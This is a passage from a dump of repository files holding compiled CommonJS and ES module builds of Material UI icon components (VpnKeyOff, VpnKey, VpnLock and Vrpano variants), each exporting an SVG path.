    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.98 6.81C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.21 0 4.15-1.2 5.18-2.99l6.89 6.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41zm5.01 5.01c.01.06.01.12.01.18 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.06 0 .12 0 .18.01zm11.33 5.68c.42-.37.68-.91.68-1.5v-2c1.1 0 2-.9 2-2s-.9-2-2-2h-8.17z\"\n}), 'VpnKeyOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.83 18H21v-4h2v-4H12.83zm-1.05 4.61 1.41-1.41L2.81 2.81 1.39 4.22l2.59 2.59C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.21 0 4.15-1.2 5.18-2.99zM8.99 11.82c.01.06.01.12.01.18 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.06 0 .12 0 .18.01z\"\n}), 'VpnKeyOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.83 18H21v-4h2v-4H12.83zm-1.05 4.61 1.41-1.41L2.81 2.81 1.39 4.22l2.59 2.59C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.21 0 4.15-1.2 5.18-2.99zM8.99 11.82c.01.06.01.12.01.18 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.06 0 .12 0 .18.01z\"\n}), 'VpnKeyOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 14.17V13h-1.17l-2-2H21v2h-2v3zM7 16c-2.21 0-4-1.79-4-4 0-1.67 1.02-3.1 2.47-3.7l1.71 1.71C7.12 10 7.06 10 7 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2c0-.06 0-.12-.01-.18l1.74 1.74C10.22 14.48 9.14 16 7 16\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.59 2.59C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.22 0 4.15-1.21 5.19-3l7.59 7.61 1.41-1.41zM7 16c-2.21 0-4-1.79-4-4 0-1.67 1.02-3.1 2.47-3.7l1.71 1.71C7.12 10 7.06 10 7 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2c0-.06 0-.12-.01-.18l1.74 1.74C10.22 14.48 9.14 16 7 16m10-1.83V13h-1.17zM13.83 11H21v2h-2v3l2 2v-3h2V9H11.83z\"\n}, \"1\")], 'VpnKeyOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 14.17V13h-1.17l-2-2H21v2h-2v3zM7 16c-2.21 0-4-1.79-4-4 0-1.67 1.02-3.1 2.47-3.7l1.71 1.71C7.12 10 7.06 10 7 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2c0-.06 0-.12-.01-.18l1.74 1.74C10.22 14.48 9.14 16 7 16\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.59 2.59C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.22 0 4.15-1.21 5.19-3l7.59 7.61 1.41-1.41zM7 16c-2.21 0-4-1.79-4-4 0-1.67 1.02-3.1 2.47-3.7l1.71 1.71C7.12 10 7.06 10 7 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2c0-.06 0-.12-.01-.18l1.74 1.74C10.22 14.48 9.14 16 7 16m10-1.83V13h-1.17zM13.83 11H21v2h-2v3l2 2v-3h2V9H11.83z\"\n}, \"1\")], 'VpnKeyOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 19h-6v-4h-2.68c-1.14 2.42-3.6 4-6.32 4-3.86 0-7-3.14-7-7s3.14-7 7-7c2.72 0 5.17 1.58 6.32 4H24v6h-2zm-4-2h2v-4h2v-2H11.94l-.23-.67C11.01 8.34 9.11 7 7 7c-2.76 0-5 2.24-5 5s2.24 5 5 5c2.11 0 4.01-1.34 4.71-3.33l.23-.67H18zM7 15c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'VpnKeyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 19h-6v-4h-2.68c-1.14 2.42-3.6 4-6.32 4-3.86 0-7-3.14-7-7s3.14-7 7-7c2.72 0 5.17 1.58 6.32 4H24v6h-2zm-4-2h2v-4h2v-2H11.94l-.23-.67C11.01 8.34 9.11 7 7 7c-2.76 0-5 2.24-5 5s2.24 5 5 5c2.11 0 4.01-1.34 4.71-3.33l.23-.67H18zM7 15c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'VpnKeyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.65 10C11.7 7.31 8.9 5.5 5.77 6.12c-2.29.46-4.15 2.29-4.63 4.58C.32 14.57 3.26 18 7 18c2.61 0 4.83-1.67 5.65-4H17v2c0 1.1.9 2 2 2s2-.9 2-2v-2c1.1 0 2-.9 2-2s-.9-2-2-2zM7 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'VpnKeyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.65 10C11.7 7.31 8.9 5.5 5.77 6.12c-2.29.46-4.15 2.29-4.63 4.58C.32 14.57 3.26 18 7 18c2.61 0 4.83-1.67 5.65-4H17v2c0 1.1.9 2 2 2s2-.9 2-2v-2c1.1 0 2-.9 2-2s-.9-2-2-2zM7 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'VpnKeyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.65 10C11.83 7.67 9.61 6 7 6c-3.31 0-6 2.69-6 6s2.69 6 6 6c2.61 0 4.83-1.67 5.65-4H17v4h4v-4h2v-4zM7 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'VpnKeySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.65 10C11.83 7.67 9.61 6 7 6c-3.31 0-6 2.69-6 6s2.69 6 6 6c2.61 0 4.83-1.67 5.65-4H17v4h4v-4h2v-4zM7 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'VpnKeySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.71 10.33C11.01 8.34 9.11 7 7 7c-2.76 0-5 2.24-5 5s2.24 5 5 5c2.11 0 4.01-1.34 4.71-3.33l.23-.67H18v4h2v-4h2v-2H11.94zM7 15c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c2.72 0 5.17-1.58 6.32-4H16v4h6v-4h2V9H13.32C12.17 6.58 9.72 5 7 5m15 8h-2v4h-2v-4h-6.06l-.23.67C11.01 15.66 9.11 17 7 17c-2.76 0-5-2.24-5-5s2.24-5 5-5c2.11 0 4.01 1.34 4.71 3.33l.23.67H22zM7 9c-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3-1.35-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'VpnKeyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.71 10.33C11.01 8.34 9.11 7 7 7c-2.76 0-5 2.24-5 5s2.24 5 5 5c2.11 0 4.01-1.34 4.71-3.33l.23-.67H18v4h2v-4h2v-2H11.94zM7 15c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c2.72 0 5.17-1.58 6.32-4H16v4h6v-4h2V9H13.32C12.17 6.58 9.72 5 7 5m15 8h-2v4h-2v-4h-6.06l-.23.67C11.01 15.66 9.11 17 7 17c-2.76 0-5-2.24-5-5s2.24-5 5-5c2.11 0 4.01 1.34 4.71 3.33l.23.67H22zM7 9c-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3-1.35-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'VpnKeyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLock.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4v-.5C22 2.12 20.88 1 19.5 1S17 2.12 17 3.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-.8 0h-3.4v-.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7zm-2.28 8c.04.33.08.66.08 1 0 2.08-.8 3.97-2.1 5.39-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H7v-2h2c.55 0 1-.45 1-1V8h2c1.1 0 2-.9 2-2V3.46c-.95-.3-1.95-.46-3-.46C5.48 3 1 7.48 1 13s4.48 10 10 10 10-4.48 10-10c0-.34-.02-.67-.05-1zM10 20.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L8 16v1c0 1.1.9 2 2 2z\"\n}), 'VpnLock');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLock.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4v-.5C22 2.12 20.88 1 19.5 1S17 2.12 17 3.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-.8 0h-3.4v-.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7zm-2.28 8c.04.33.08.66.08 1 0 2.08-.8 3.97-2.1 5.39-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H7v-2h2c.55 0 1-.45 1-1V8h2c1.1 0 2-.9 2-2V3.46c-.95-.3-1.95-.46-3-.46C5.48 3 1 7.48 1 13s4.48 10 10 10 10-4.48 10-10c0-.34-.02-.67-.05-1zM10 20.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L8 16v1c0 1.1.9 2 2 2z\"\n}), 'VpnLock');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 12c.04.33.08.66.08 1 0 2.08-.8 3.97-2.1 5.39-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H7v-2h2c.55 0 1-.45 1-1V8h2c1.1 0 2-.9 2-2V3.46c-.95-.3-1.95-.46-3-.46C5.48 3 1 7.48 1 13s4.48 10 10 10 10-4.48 10-10c0-.34-.02-.67-.05-1zM10 20.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L8 16v1c0 1.1.9 2 2 2zM22 4v-.5C22 2.12 20.88 1 19.5 1S17 2.12 17 3.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 0h-3v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5z\"\n}), 'VpnLockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 12c.04.33.08.66.08 1 0 2.08-.8 3.97-2.1 5.39-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H7v-2h2c.55 0 1-.45 1-1V8h2c1.1 0 2-.9 2-2V3.46c-.95-.3-1.95-.46-3-.46C5.48 3 1 7.48 1 13s4.48 10 10 10 10-4.48 10-10c0-.34-.02-.67-.05-1zM10 20.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L8 16v1c0 1.1.9 2 2 2zM22 4v-.5C22 2.12 20.88 1 19.5 1S17 2.12 17 3.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 0h-3v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5z\"\n}), 'VpnLockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.92 11c.44 3.63-1.52 5.85-2.02 6.39-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2V2.46c-.95-.3-1.95-.46-3-.46C6.48 2 2 6.48 2 12s4.48 10 10 10c5.73 0 10.51-4.86 9.95-11zM11 19.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2zM22 4v-.89c0-1-.68-1.92-1.66-2.08C19.08.82 18 1.79 18 3v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 0h-2V3c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'VpnLockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.92 11c.44 3.63-1.52 5.85-2.02 6.39-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2V2.46c-.95-.3-1.95-.46-3-.46C6.48 2 2 6.48 2 12s4.48 10 10 10c5.73 0 10.51-4.86 9.95-11zM11 19.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2zM22 4v-.89c0-1-.68-1.92-1.66-2.08C19.08.82 18 1.79 18 3v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 0h-2V3c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'VpnLockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLockSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13c0 2.08-.8 3.97-2.1 5.39V17H14v-4H7v-2h3V8h4V3.46c-.95-.3-1.95-.46-3-.46C5.48 3 1 7.48 1 13s4.48 10 10 10 10-4.48 10-10c0-.34-.02-.67-.05-1h-2.03c.04.33.08.66.08 1m-9 7.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L8 16v3h2zM22 4v-.36c0-1.31-.94-2.5-2.24-2.63C18.26.86 17 2.03 17 3.5V4h-1v6h7V4zm-1 0h-3v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5z\"\n}), 'VpnLockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLockSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13c0 2.08-.8 3.97-2.1 5.39V17H14v-4H7v-2h3V8h4V3.46c-.95-.3-1.95-.46-3-.46C5.48 3 1 7.48 1 13s4.48 10 10 10 10-4.48 10-10c0-.34-.02-.67-.05-1h-2.03c.04.33.08.66.08 1m-9 7.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L8 16v3h2zM22 4v-.36c0-1.31-.94-2.5-2.24-2.63C18.26.86 17 2.03 17 3.5V4h-1v6h7V4zm-1 0h-3v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5z\"\n}), 'VpnLockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8h-2v2c0 .55-.45 1-1 1H7v2h6c.55 0 1 .45 1 1v3h1c.9 0 1.64.58 1.9 1.39C18.2 16.97 19 15.08 19 13c0-.34-.04-.67-.08-1H17c-1.65 0-3-1.35-3-3V6c0 1.1-.9 2-2 2m-4 9v-1l-4.79-4.79C3.08 11.79 3 12.38 3 13c0 4.08 3.05 7.44 7 7.93V19c-1.1 0-2-.9-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 12c.04.33.08.66.08 1 0 2.08-.8 3.97-2.1 5.39-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H7v-2h2c.55 0 1-.45 1-1V8h2c1.1 0 2-.9 2-2V3.46c-.95-.3-1.95-.46-3-.46C5.48 3 1 7.48 1 13s4.48 10 10 10 10-4.48 10-10c0-.34-.02-.67-.05-1zM10 20.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L8 16v1c0 1.1.9 2 2 2zM22 4v-.5C22 2.12 20.88 1 19.5 1S17 2.12 17 3.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 0h-3v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5z\"\n}, \"1\")], 'VpnLockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnLockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8h-2v2c0 .55-.45 1-1 1H7v2h6c.55 0 1 .45 1 1v3h1c.9 0 1.64.58 1.9 1.39C18.2 16.97 19 15.08 19 13c0-.34-.04-.67-.08-1H17c-1.65 0-3-1.35-3-3V6c0 1.1-.9 2-2 2m-4 9v-1l-4.79-4.79C3.08 11.79 3 12.38 3 13c0 4.08 3.05 7.44 7 7.93V19c-1.1 0-2-.9-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 12c.04.33.08.66.08 1 0 2.08-.8 3.97-2.1 5.39-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H7v-2h2c.55 0 1-.45 1-1V8h2c1.1 0 2-.9 2-2V3.46c-.95-.3-1.95-.46-3-.46C5.48 3 1 7.48 1 13s4.48 10 10 10 10-4.48 10-10c0-.34-.02-.67-.05-1zM10 20.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L8 16v1c0 1.1.9 2 2 2zM22 4v-.5C22 2.12 20.88 1 19.5 1S17 2.12 17 3.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1m-1 0h-3v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5z\"\n}, \"1\")], 'VpnLockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Vrpano.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.69 4.05C18.66 4.73 15.86 5.5 12 5.5c-3.89 0-6.95-.84-8.69-1.43-.64-.22-1.31.26-1.31.95V19c0 .68.66 1.17 1.31.95C5.36 19.26 8.1 18.5 12 18.5c3.87 0 6.66.76 8.69 1.45.65.21 1.31-.27 1.31-.95V5c0-.68-.66-1.16-1.31-.95M12 15c-2.34 0-4.52.15-6.52.41l3.69-4.42 2 2.4L14 10l4.51 5.4c-1.99-.25-4.21-.4-6.51-.4\"\n}), 'Vrpano');"
  },
  {
    "path": "packages/mui-icons-material/lib/Vrpano.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.69 4.05C18.66 4.73 15.86 5.5 12 5.5c-3.89 0-6.95-.84-8.69-1.43-.64-.22-1.31.26-1.31.95V19c0 .68.66 1.17 1.31.95C5.36 19.26 8.1 18.5 12 18.5c3.87 0 6.66.76 8.69 1.45.65.21 1.31-.27 1.31-.95V5c0-.68-.66-1.16-1.31-.95M12 15c-2.34 0-4.52.15-6.52.41l3.69-4.42 2 2.4L14 10l4.51 5.4c-1.99-.25-4.21-.4-6.51-.4\"\n}), 'Vrpano');"
  },
  {
    "path": "packages/mui-icons-material/lib/VrpanoOutlined.js",
